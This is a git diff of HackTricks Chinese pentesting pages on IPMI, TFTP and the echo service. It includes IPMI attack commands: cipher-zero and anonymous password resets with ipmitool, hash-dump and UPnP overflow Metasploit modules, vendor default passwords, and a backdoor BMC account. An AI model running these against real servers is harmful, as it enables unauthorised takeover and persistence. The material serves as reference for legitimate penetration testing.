* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
### **IPMI概述**
|
||||
### **IPMI 概述**
|
||||
|
||||
**[智能平台管理接口(IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。这项技术允许系统管理员远程管理系统,即使系统处于关闭或无响应状态,对于以下情况尤为有用:
|
||||
**[智能平台管理接口 (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** 提供了一种标准化的方法,用于远程管理和监控计算机系统,独立于操作系统或电源状态。该技术允许系统管理员远程管理系统,即使在系统关闭或无响应时,特别适用于:
|
||||
|
||||
- 操作系统引导前的配置
|
||||
- 关闭电源管理
|
||||
- 操作系统启动前的配置
|
||||
- 关机管理
|
||||
- 从系统故障中恢复
|
||||
|
||||
IPMI能够监视温度、电压、风扇速度和电源供应情况,同时提供库存信息、查看硬件日志,并通过SNMP发送警报。其运行所需的关键组件包括电源源和LAN连接。
|
||||
IPMI 能够监控温度、电压、风扇速度和电源,同时提供库存信息、查看硬件日志,并通过 SNMP 发送警报。其操作所需的基本条件是电源和局域网连接。
|
||||
|
||||
自Intel于1998年推出以来,IPMI得到了众多供应商的支持,特别是通过2.0版本对串行LAN的支持,增强了远程管理功能。关键组件包括:
|
||||
自 1998 年英特尔推出以来,IPMI 得到了众多厂商的支持,增强了远程管理能力,特别是 2.0 版本对串行局域网的支持。关键组件包括:
|
||||
|
||||
- **主板管理控制器(BMC):** IPMI操作的主要微控制器。
|
||||
- **通信总线和接口:** 用于内部和外部通信,包括ICMB、IPMB以及用于本地和网络连接的各种接口。
|
||||
- **IPMI存储器:** 用于存储日志和数据。
|
||||
- **主板管理控制器 (BMC):** IPMI 操作的主要微控制器。
|
||||
- **通信总线和接口:** 用于内部和外部通信,包括 ICMB、IPMB 和各种本地及网络连接接口。
|
||||
- **IPMI 内存:** 用于存储日志和数据。
|
||||
|
||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**默认端口**:623/UDP/TCP(通常在UDP上运行,但也可能在TCP上运行)
|
||||
**默认端口**:623/UDP/TCP(通常在 UDP 上,但也可能在 TCP 上运行)
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -46,67 +47,67 @@ nmap -n -p 623 10.0.0./24
|
|||
nmap -n-sU -p 623 10.0.0./24
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
```
|
||||
您可以使用以下方法**识别**版本:
|
||||
您可以**识别**版本使用:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### IPMI漏洞
|
||||
### IPMI 漏洞
|
||||
|
||||
在IPMI 2.0领域,Dan Farmer发现了一个重大的安全漏洞,通过**密码类型0**暴露了一个漏洞。这个漏洞在[Dan Farmer的研究](http://fish2.com/ipmi/cipherzero.html)中有详细记录,允许未经授权的访问,只要针对一个有效用户提供了任何密码。这个弱点在惠普(HP)、戴尔(Dell)和超微(Supermicro)等制造商的各种BMC中被发现,表明所有IPMI 2.0实现中存在普遍问题。
|
||||
在 IPMI 2.0 的领域中,Dan Farmer 发现了一个重大的安全缺陷,通过 **cipher type 0** 暴露了一个漏洞。这个漏洞在 [Dan Farmer 的研究](http://fish2.com/ipmi/cipherzero.html) 中有详细记录,允许在目标有效用户的情况下,使用任何密码进行未经授权的访问。这个弱点在 HP、Dell 和 Supermicro 等制造商的各种 BMC 中被发现,表明所有 IPMI 2.0 实现中存在广泛的问题。
|
||||
|
||||
### 通过密码0绕过IPMI身份验证
|
||||
### **通过 Cipher 0 绕过 IPMI 认证**
|
||||
|
||||
要检测这个漏洞,可以使用以下Metasploit辅助扫描程序:
|
||||
要检测这个缺陷,可以使用以下 Metasploit 辅助扫描器:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
利用`ipmitool`可以实现对此漏洞的利用,如下所示,允许列出和修改用户密码:
|
||||
利用这个漏洞可以使用 `ipmitool` 来实现,如下所示,允许列出和修改用户密码:
|
||||
```bash
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
|
||||
### **IPMI 2.0 RAKP 认证远程密码哈希检索**
|
||||
|
||||
该漏洞使得可以检索到任何现有用户名的盐值哈希密码(MD5和SHA1)。为了测试这个漏洞,Metasploit提供了一个模块:
|
||||
此漏洞允许检索任何现有用户名的加盐哈希密码(MD5 和 SHA1)。要测试此漏洞,Metasploit 提供了一个模块:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
### **IPMI匿名认证**
|
||||
### **IPMI 匿名认证**
|
||||
|
||||
许多BMC中的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。可以利用这种配置使用`ipmitool`来重置具名用户账户的密码:
|
||||
许多 BMC 的默认配置允许“匿名”访问,其特征是空用户名和密码字符串。此配置可以被利用来重置使用 `ipmitool` 的命名用户帐户的密码:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### **Supermicro IPMI明文密码**
|
||||
### **Supermicro IPMI 明文密码**
|
||||
|
||||
IPMI 2.0中的一个关键设计选择要求在BMC中存储明文密码以进行身份验证。Supermicro将这些密码存储在诸如`/nv/PSBlock`或`/nv/PSStore`等位置,引发了重大的安全问题:
|
||||
IPMI 2.0 中的一个关键设计选择要求在 BMC 中存储明文密码以进行身份验证。Supermicro 将这些密码存储在 `/nv/PSBlock` 或 `/nv/PSStore` 等位置引发了重大安全隐患:
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
```
|
||||
### **Supermicro IPMI UPnP Vulnerability**
|
||||
### **Supermicro IPMI UPnP 漏洞**
|
||||
|
||||
Supermicro在其IPMI固件中包含了一个UPnP SSDP监听器,特别是在UDP端口1900上,引入了严重的安全风险。根据[Rapid7的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)详细介绍的Intel UPnP设备版本1.3.1中的漏洞,允许对BMC进行root访问:
|
||||
Supermicro 在其 IPMI 固件中包含的 UPnP SSDP 监听器,特别是在 UDP 端口 1900 上,引入了严重的安全风险。根据 [Rapid7 的披露](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) 的详细信息,Intel SDK for UPnP Devices 版本 1.3.1 中的漏洞允许对 BMC 进行根访问:
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### 暴力破解
|
||||
|
||||
**HP在制造过程中会随机生成默认密码**,用于其**Integrated Lights Out (iLO)**产品。这种做法与其他制造商形成对比,后者倾向于使用**静态默认凭据**。以下是各种产品的默认用户名和密码摘要:
|
||||
**HP 在制造过程中随机生成其** **集成灯光控制 (iLO)** **产品的默认密码**。这一做法与其他制造商形成对比,后者往往使用**静态默认凭据**。以下是各种产品的默认用户名和密码的总结:
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** 使用**工厂随机生成的8位字符串**作为默认密码,展示了更高的安全级别。
|
||||
- 诸如**Dell的iDRAC、IBM的IMM**和**Fujitsu的Integrated Remote Management Controller**等产品使用易于猜测的密码,如"calvin"、"PASSW0RD"(使用零)和"admin"。
|
||||
- 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**ASUS iKVM BMC**也使用简单的默认凭据,其密码分别为"ADMIN"、"changeme"和"admin"。
|
||||
- **HP 集成灯光控制 (iLO)** 使用**工厂随机生成的 8 个字符字符串**作为其默认密码,展示了更高的安全级别。
|
||||
- 像**戴尔的 iDRAC、IBM 的 IMM**和**富士通的集成远程管理控制器**等产品使用易于猜测的密码,如“calvin”、“PASSW0RD”(带零)和“admin”。
|
||||
- 同样,**Supermicro IPMI (2.0)、Oracle/Sun ILOM**和**华硕 iKVM BMC**也使用简单的默认凭据,其中“ADMIN”、“changeme”和“admin”作为它们的密码。
|
||||
|
||||
## 通过BMC访问主机
|
||||
## 通过 BMC 访问主机
|
||||
|
||||
对基板管理控制器(BMC)的管理访问打开了访问主机操作系统的各种途径。一种直接的方法涉及利用BMC的键盘、视频、鼠标(KVM)功能。可以通过重新启动主机到一个root shell(使用`init=/bin/sh`)或从设置为救援磁盘的虚拟CD-ROM启动来实现这一点。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重新启动主机,这是一个重大缺点。在不重新启动的情况下,访问正在运行的主机更加复杂,并且随着主机配置的不同而变化。如果主机的物理或串行控制台保持登录状态,可以通过BMC的KVM或串行-通过-LAN(sol)功能轻松接管它,使用`ipmitool`。探索共享硬件资源的利用,如i2c总线和Super I/O芯片,是需要进一步研究的领域。
|
||||
对基板管理控制器 (BMC) 的管理访问打开了访问主机操作系统的各种途径。一种简单的方法是利用 BMC 的键盘、视频、鼠标 (KVM) 功能。这可以通过重启主机到根 shell(使用 `init=/bin/sh`)或从设置为救援磁盘的虚拟 CD-ROM 启动来实现。这些方法允许直接操作主机的磁盘,包括插入后门、数据提取或进行安全评估所需的任何操作。然而,这需要重启主机,这是一个显著的缺点。在不重启的情况下,访问正在运行的主机更为复杂,并且因主机的配置而异。如果主机的物理或串行控制台保持登录状态,可以通过 BMC 的 KVM 或串行通过 LAN (sol) 功能轻松接管,使用 `ipmitool`。探索共享硬件资源的利用,如 i2c 总线和超级 I/O 芯片,是一个需要进一步研究的领域。
|
||||
|
||||
## 从主机向BMC引入后门
|
||||
## 从主机向 BMC 引入后门
|
||||
|
||||
在攻击配备有BMC的主机后,**可以利用本地BMC接口插入后门用户帐户**,在服务器上创建持久存在。此攻击需要在受损主机上存在**`ipmitool`**并激活BMC驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户帐户注入BMC,绕过身份验证的需求。这种技术适用于各种操作系统,包括Linux、Windows、BSD,甚至DOS。
|
||||
在攻陷一台配备 BMC 的主机后,**可以利用本地 BMC 接口插入后门用户账户**,在服务器上创建持久存在。这一攻击需要在被攻陷的主机上存在**`ipmitool`**并激活 BMC 驱动程序支持。以下命令说明了如何使用主机的本地接口将新用户账户注入 BMC,从而绕过身份验证的需要。这一技术适用于包括 Linux、Windows、BSD 甚至 DOS 在内的广泛操作系统。
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -124,8 +125,23 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `端口:623`
|
||||
* `port:623`
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,24 +20,24 @@
|
|||
|
||||
# 基本信息
|
||||
|
||||
**Trivial File Transfer Protocol (TFTP)** 是一种简单的协议,用于**UDP端口69**,允许在无需身份验证的情况下进行文件传输。在**RFC 1350**中进行了重点介绍,其简单性意味着它缺乏关键的安全功能,导致在公共互联网上的使用受到限制。然而,在大型内部网络中,**TFTP**被广泛用于向**VoIP电话机**等设备分发**配置文件**和**ROM映像**,因为在这些特定场景中它的效率很高。
|
||||
**简单文件传输协议 (TFTP)** 是一种简单的协议,使用 **UDP 69 端口**,允许在不需要身份验证的情况下进行文件传输。该协议在 **RFC 1350** 中进行了强调,其简单性意味着它缺乏关键的安全特性,导致在公共互联网中的使用有限。然而,**TFTP** 在大型内部网络中被广泛用于向设备(如 **VoIP 电话**)分发 **配置文件** 和 **ROM 镜像**,因为它在这些特定场景中的效率很高。
|
||||
|
||||
**待办事项**:提供有关什么是比特流跟踪器(Shodan将此端口标识为该名称)的信息。如果您有更多信息,请告诉我们,例如在[**HackTricks电报群**](https://t.me/peass)(或在[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)的github问题中)。
|
||||
**TODO**:提供有关 Bittorrent-tracker 的信息(Shodan 以该名称识别此端口)。如果您有更多信息,请通过 [**HackTricks Telegram 群组**](https://t.me/peass)(或在 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 的 GitHub 问题中)告知我们。
|
||||
|
||||
**默认端口:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# 枚举
|
||||
# Enumeration
|
||||
|
||||
TFTP 不提供目录列表,因此 `nmap` 中的脚本 `tftp-enum` 将尝试暴力破解默认路径。
|
||||
TFTP 不提供目录列表,因此来自 `nmap` 的脚本 `tftp-enum` 将尝试暴力破解默认路径。
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## 下载/上传
|
||||
|
||||
您可以使用Metasploit或Python来检查是否可以下载/上传文件:
|
||||
您可以使用 Metasploit 或 Python 检查您是否可以下载/上传文件:
|
||||
```bash
|
||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||
```
|
||||
|
@ -49,7 +50,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `端口:69`
|
||||
* `port:69`
|
||||
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -23,17 +24,17 @@
|
|||
|
||||
# 基本信息
|
||||
|
||||
此主机上正在运行一个回显服务。回显服务旨在用于测试和测量目的,可能同时在TCP和UDP协议上监听。服务器会原样发送接收到的任何数据。\
|
||||
**通过将回显服务连接到同一台或另一台机器上的回显服务,可能会导致拒绝服务**。由于产生的数据包数量过多,受影响的机器可能会被有效地停止服务。\
|
||||
信息来源:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
此主机上运行着一个回显服务。回显服务旨在用于测试和测量目的,可能同时监听 TCP 和 UDP 协议。服务器会将接收到的任何数据原样发送回去,未做任何修改。\
|
||||
**通过将回显服务连接到同一台或另一台机器上的回显服务,可以导致拒绝服务**。由于产生的包数量过多,受影响的机器可能会被有效地使其无法服务。\
|
||||
信息来源于 [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**默认端口:** 7/tcp/udp
|
||||
**默认端口:** 7/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## 联系回显服务(UDP)
|
||||
## 联系回显服务 (UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -43,11 +44,11 @@ Hello echo #This is the response
|
|||
|
||||
* `port:7 echo`
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
[维基百科回显](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 UDP端口拒绝服务攻击](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
@ -56,16 +57,17 @@ Hello echo #This is the response
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 873 - 渗透测试 Rsync
|
||||
# 873 - Pentesting Rsync
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Rsync):
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
